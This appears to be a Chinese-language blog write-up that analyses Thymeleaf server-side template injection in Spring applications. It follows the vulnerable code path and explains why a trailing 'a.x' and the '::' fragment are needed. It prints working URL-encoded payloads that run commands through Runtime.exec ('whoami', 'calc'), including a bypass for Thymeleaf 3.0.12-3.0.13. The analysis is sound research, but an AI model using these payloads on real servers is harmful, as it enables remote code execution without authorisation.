Thymeleaf SSTI
环境搭建
下载运行
https://github.com/veracode-research/spring-view-manipulation/
Thymeleaf 版本 3.0.11
情景一
![](/2022/05/01/ThymeleafSSTI/7bfe9f69-622f-4e4a-ad6a-547488512546.png)
payload
1 | /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__:: |
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点调试,跟到org.springframework.web.servlet.DispatcherServlet#processDispatchResult
![](/2022/05/01/ThymeleafSSTI/699e2f6f-544d-42e6-8bd7-1b9e20253194.png)
会将传入的ModleandView对象传进render方法,然后进入到renderFragment方法
![](/2022/05/01/ThymeleafSSTI/576dc655-5f57-4c74-8279-93f4bcd1bba4.png)
在该方法中会判断viewTemplateName中是否存在::,如果存在会执行到
1 | fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); |
![](/2022/05/01/ThymeleafSSTI/d2155f76-bded-471d-b65f-f1c4431f7a0d.png)
跟进去看一下,来到
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)
![](/2022/05/01/ThymeleafSSTI/596e1520-e1e7-43fe-813e-3106d7f188d7.png)
接着会执行StandardExpressionPreprocessor.preprocess(context, input),继续跟进到
org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess
![](/2022/05/01/ThymeleafSSTI/240a73c1-f386-4281-8e66-0bce0cf9f867.png)
首先要满足input(也就是模版路径)中有_,然后要满足下面的正则
![](/2022/05/01/ThymeleafSSTI/e9ba3c4b-c178-4a65-982d-b5feb3b0d990.png)
接着会进入到
1 | Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED); |
![](/2022/05/01/ThymeleafSSTI/5877a7e2-3deb-4a7e-b515-d58189323d4e.png)
继续跟进去
org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)
![](/2022/05/01/ThymeleafSSTI/e5c3f4d3-18f0-4000-951a-2b064ba98172.png)
该处会执行我们传入的表达式并返回结果
情景二
![](/2022/05/01/ThymeleafSSTI/00cc26f2-5c38-4b2b-aa4e-97e739df092f.png)
payload
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::a.x |
处理流程和情景一大体一样,下面讨论下不一样的地方,首先访问的这个方法里没有返回值,也就是ModleandView对象应该是空的,但是为什么还能够利用呢?原因在于org.springframework.web.servlet.DispatcherServlet#doDispatch中存在着如下方法
1 | this.applyDefaultViewName(processedRequest, mv); |
跟进去
![](/2022/05/01/ThymeleafSSTI/e0321edd-bd2c-4d32-871b-66d76a6b619a.png)
假如ModleandView对象是空的,则会将请求路径最后一位.
以及后面的内容删除,剩下的内容设置为defaultViewName, 接着就是和情景一一样向下的流程;
通过查看payload我们会发现与情景一不同的是payload末尾多了一个a.x
其中.x
是为了前面讲的删除不影响执行结果,那么a有什么作用呢,一路跟踪代码,定位到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)中
![](/2022/05/01/ThymeleafSSTI/2d02ba71-0311-4f7d-a4e7-69e8e3019c6a.png)
改方法是由org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess 方法调用的(见调用栈)
在49行中还会执行一下StandardExpressionPreprocessor.preprocess(context, input),也就是会执行到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression,执行一次后会返回命令执行的结果
![](/2022/05/01/ThymeleafSSTI/d81def7c-8dba-4700-a0d4-3f899458a5e8.png)
继续跟进去来到org.thymeleaf.standard.expression.FragmentExpression#parseFragmentExpressionContent
![](/2022/05/01/ThymeleafSSTI/e56e420a-81b4-4abf-a62d-5253bb32a842.png)
该处是在取::
后面的值,假如取到的值是空的就会返回null,也就不会正常回显执行命令的结果,所以需要a
来填充一下使其代码正常走下去。那么其实如果不加a也是可以正常执行代码的,只不过看不到回显而已
3.0.12-3.0.13通用payload
情景一是可以的
1 | __$%7b''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7d__:: |
![](/2022/05/01/ThymeleafSSTI/e2ce59c8-228f-47da-a96a-7adc5106f1b7.png)
情景二暂时还没有方法
记录
为什么会自动删除后缀
如图
![](/2022/05/01/ThymeleafSSTI/37684fb5-4fb3-4ce6-9022-93f210beea33.png)
看下为什么会把.bbb删除
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点
首先会执行到该方法中的
1 | this.applyDefaultViewName(processedRequest, mv); |
![](/2022/05/01/ThymeleafSSTI/53a6e674-da6c-4408-8196-90a9e20ecee2.png)
一路跟进去来到
org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName
1 | public String getViewName(HttpServletRequest request) { |
接着会进入到org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath
![](/2022/05/01/ThymeleafSSTI/175d5763-538f-4671-bd24-73c0376a589f.png)
执行到StringUtils.stripFilenameExtension(path)
![](/2022/05/01/ThymeleafSSTI/c26a3dbb-c5c5-4ae0-9cc4-37b418221dbb.png)
会把后缀删除